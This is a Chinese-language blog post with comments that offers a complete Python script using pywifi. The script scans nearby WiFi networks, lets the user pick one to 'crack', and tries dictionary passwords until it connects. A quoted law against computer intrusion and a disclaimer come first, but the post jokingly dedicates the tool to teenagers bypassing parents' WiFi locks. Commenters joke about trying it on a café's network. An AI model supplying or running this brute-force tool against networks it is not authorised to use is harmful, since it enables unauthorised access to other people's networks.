《刑法》第358條:「無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞,而入侵他人之電腦或其相關設備者,處三年以下有期徒刑、拘役或科或併科三十萬元以下罰金。」
破解人家WiFi密碼是犯法的喔!然後未經同意使用別人的WiFi會再犯一個法,
我們只能破解自己家的密碼,不要去破解鄰居家的WiFi喔!
免責聲明: 若讀者因私德問題侵犯他人權益,本人不負任何責任
遙想當年考試前媽媽都會把家裡的WiFi鎖起來,沒WiFi真的有夠痛苦...
這個程式獻給家管嚴又想上網增長知識的朋友們~
使用環境
程式碼
import pywifi
from pywifi import const
import time
import inquirer
def connect(name,password):
interface = pywifi.PyWiFi().interfaces()[0]
interface.disconnect() # 中斷目前wifi連線
time.sleep(1)
if interface.status() == const.IFACE_DISCONNECTED:
prof = pywifi.Profile()
prof.ssid = name # wifi的ssid(wifi名稱)
prof.key = password # wifi的密碼
prof.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
prof.auth = const.AUTH_ALG_OPEN # 網卡的開放
prof.cipher = const.CIPHER_TYPE_CCMP # 加密單元
interface.remove_all_network_profiles() # 刪除所有的wifi文件
tep_prof = interface.add_network_profile(prof)
interface.connect(tep_prof) # 自動連上破解的wifi
time.sleep(1)
if interface.status() == const.IFACE_CONNECTED:
return True
else:
return False
def main():
file = open("D:/password.txt",'r') # 打開下載的密碼字典
wifis = []
iface = pywifi.PyWiFi().interfaces()[0] # 掃描現有的wifi
res = iface.scan_results()
for i, prof in enumerate(res):
wifis.append(prof.ssid)
questions = [ # wifi選單
inquirer.List('wifi', message = "你要破解哪個wifi?", choices = wifis),
]
answers = inquirer.prompt(questions)
curr_name = answers['wifi']
while 1:
curr_pwd = file.readline()
try:
status = connect(curr_name,curr_pwd)
if status:
print("密碼是:"+curr_pwd)
break
else:
print("錯誤的密碼:%s"%curr_pwd)
except:
continue
file.close()
if __name__=='__main__':
main()
成果發表會
注意看右下角的WiFi狀態! 取得WiFi正確密碼就會自己連上囉~
因為時間有限,就只拿幾個密碼當範例
溫馨小提醒
pywifi破解密碼的速度很慢,所以實際效用不大,
而且密碼本也不一定能100%破解,但是有試有機會啦><
還好我家WIFI密碼很複雜
不怕破!
我家密碼超簡單的...不用密碼本也能破...
應該說直接猜都能破
password嗎XD
88888888
我記得網路上有常用密碼的字典檔
ps.不過我看過同事用中文轉注音輸入法的按法當密碼,這個就不太可能存在字典檔中了,給看這篇的爸爸媽媽參考看看XD
只能祈禱爸媽用手機設定密碼了><
不知道咖啡廳的密碼破不破的了XDD
~ 想之前,我的網路還沒吃到飽 ,看到一堆網路卻不能連的痛苦
問店員 一般都會提供密碼